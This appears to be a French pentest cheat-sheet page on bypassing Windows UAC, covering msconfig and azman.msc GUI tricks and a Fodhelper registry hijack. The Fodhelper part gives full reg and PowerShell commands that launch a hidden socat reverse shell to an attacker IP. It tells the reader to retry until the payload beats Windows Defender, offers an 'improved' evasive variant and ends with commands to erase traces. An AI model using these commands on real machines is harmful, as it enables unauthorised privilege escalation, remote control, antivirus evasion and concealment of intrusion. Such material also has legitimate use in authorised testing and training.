Skip to main content

[Windows] Bypass UAC

Introduction

Cette fiche décrit différentes techniques pour contourner l'UAC et ainsi, monter en privilège.

image.png

Source

Techniques

Msconfig

Faites Win+R puis lancez msconfig :

image.png

Puis Rendez-vous dans Tools pour sléectionner Command Prompt puis cliquez sur Launch :

image.png

Vous devriez voir un prompt à privilège High apparaître.

azman.msc

Faites Win+R puis lancez azman.msc :

image.png

Commencez par vous rendre dans le menu Help puis Help Tonics :

image.png

Ensuite faite clic droit puis View Source :

image.png

Une fois dans le Notepad, Rendez-vous dans le menu File puis Open et sélectionnez tous les types de fichiers pour pouvoir afficher le cmd. Faite clic droit dessus puis Open pour ouvrir un shell privilégié :

image.png

Fodhelper

Cette technique a un avantage considérable par rapport aux deux techniques précédentes :

Elle peut être réalisée sans aucun accès au GUI !

La faille existe car le logiciel FodHelper (utilisé pour configurer certains options du système) est programmé pour être lancé lors de l'exécution des fichiers ayant pour ProgID ms-setting par défaut.

Cependant, cette valeur peut être changée dans le registre :

set REG_KEY=HKCU\Software\Classes\ms-settings\Shell\Open\command
set CMD="powershell -windowstyle hidden C:\Tools\socat\socat.exe TCP:<attacker_ip>:4444 EXEC:cmd.exe,pipes"

Vous pouvez changer la commande à souhait !

reg add %REG_KEY% /v "DelegateExecute" /d "" /f
reg add %REG_KEY% /d %CMD% /f & fodhelper.exe

Si la commande ci-dessus ne lance pas votre payload, il est très probable que ce soit Windows Defender qui la bloque.

Relancez la commande jusqu'à ce qu'elle s'exécute avant d'être détecté par Windows Defender.

Si jamais vous n'y parvenez pas, vous pouvez utiliser cette version améliorée de l'exploit, qui aura plus de chance d'aboutir :

$program = "powershell -windowstyle hidden C:\tools\socat\socat.exe TCP:<attacker_ip>:4445 EXEC:cmd.exe,pipes"

New-Item "HKCU:\Software\Classes\.pwn\Shell\Open\command" -Force
Set-ItemProperty "HKCU:\Software\Classes\.pwn\Shell\Open\command" -Name "(default)" -Value $program -Force
    
New-Item -Path "HKCU:\Software\Classes\ms-settings\CurVer" -Force
Set-ItemProperty  "HKCU:\Software\Classes\ms-settings\CurVer" -Name "(default)" -value ".pwn" -Force
    
Start-Process "C:\Windows\System32\fodhelper.exe" -WindowStyle Hidden

Vous pouvez ensuite effacer vos traces :

reg delete "HKCU\Software\Classes\.thm\" /f
reg delete "HKCU\Software\Classes\ms-settings\" /f